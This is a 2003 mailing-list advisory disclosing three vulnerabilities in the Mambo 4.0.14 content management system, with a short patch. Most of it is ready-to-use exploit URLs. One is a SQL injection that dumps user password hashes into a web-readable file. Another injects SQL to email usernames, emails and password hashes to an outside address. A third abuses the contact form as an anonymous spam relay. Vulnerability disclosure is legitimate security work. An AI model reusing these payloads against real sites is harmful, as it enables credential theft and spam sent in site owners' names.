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Several Mambo 4.0.14 Stable Exploits
From: Lifo Fifo <lifofifo20 () yahoo com>
Date: 18 Sep 2003 05:25:19 -0000



Product : Mambo 4.0.14 Stable
Website : http://www.mamboserver.com/
Status : Vendor notified via email
Imapct : Search for "Mambo Open Source is Free Software released under the GNU/GPL License." (with quotes) returned 
more than 500 results.
Credit : lifofifo, hackingzone.org
Originally posted at : http://www.hackingzone.org

First of all, you will get a bunch of error when you try to open banners.php without any arguments. This does reveal 
some vital information like path on the server. This information is very important when using "into outfile" feature of 
MySQL.

Now,

* First Exploit

http://localhost/mambo/banners.php?op=click&bid=100 UNION select password from mos_users where 1=1 into outfile 
'c:/apache2/htdocs/mos.txt'

Here it's required that magic_quotes_gpc is turned off. And MySQL 4.x is running. Because older versions don't support 
UNION function.

There are other cases of SQL Injection there. But they won't be a trouble if you have magic_quotes_gpc turned on. 

* Second Exploit

This one will work in all the cases. No matter magic_quotes_gpc/register_globals are on/off. The bug is in 
"emailfriend/emailarticle.php" file. In this file, the variable $id is not checked. Therefore, it is possibgle to get 
the md5() password emailed to you. Check the following,

http://localhost/mambo/emailfriend/emailarticle.php?submit=submit&email=lifofifo () hackingzone org&youremail=webmaster 
() hackingzone org&id=100 UNION select username,email,password from mos_users where id=1

In this case, username, md5() hashed password and email address of user with id 1 will get deliverd to lifofifo () 
hackingzone org 

Note : The server needs to using MySQL 4.x

Fix : Add the follwing lines on the top of the "emailfriend/emailarticle.php" script.
----
if(!is_numeric($id))
        die("Hacking Attempt");
----

Note : Same patch should also be applied to "emailfriend/emailfaq.php"

* Third Exploit : Anonymous Emailer

In contact.php file, there is a function call like "sendmail($text, $from, $name, $email_to, $sitename);". You can pass 
variables from the url. So if you open it like,

http://localhost/mambo/contact.php?op=sendmail&text=this is spam&from=none&name=Admin&email_to=lifofifo () hackingzone 
org&sitename=hackingzone.org

It will send email to lifofifo () hackingzone org from "None".

And this is really enough to give your site a bad name. One can spam from YOUR own site. Becase IP of the email sender 
and IP of your site will be same and therefor the integrity of the message won't be a doubt.

This will also work irrespective of magic_quotes_gpc and register_globals.

-lifofifo
http://www.hackingzone.org/


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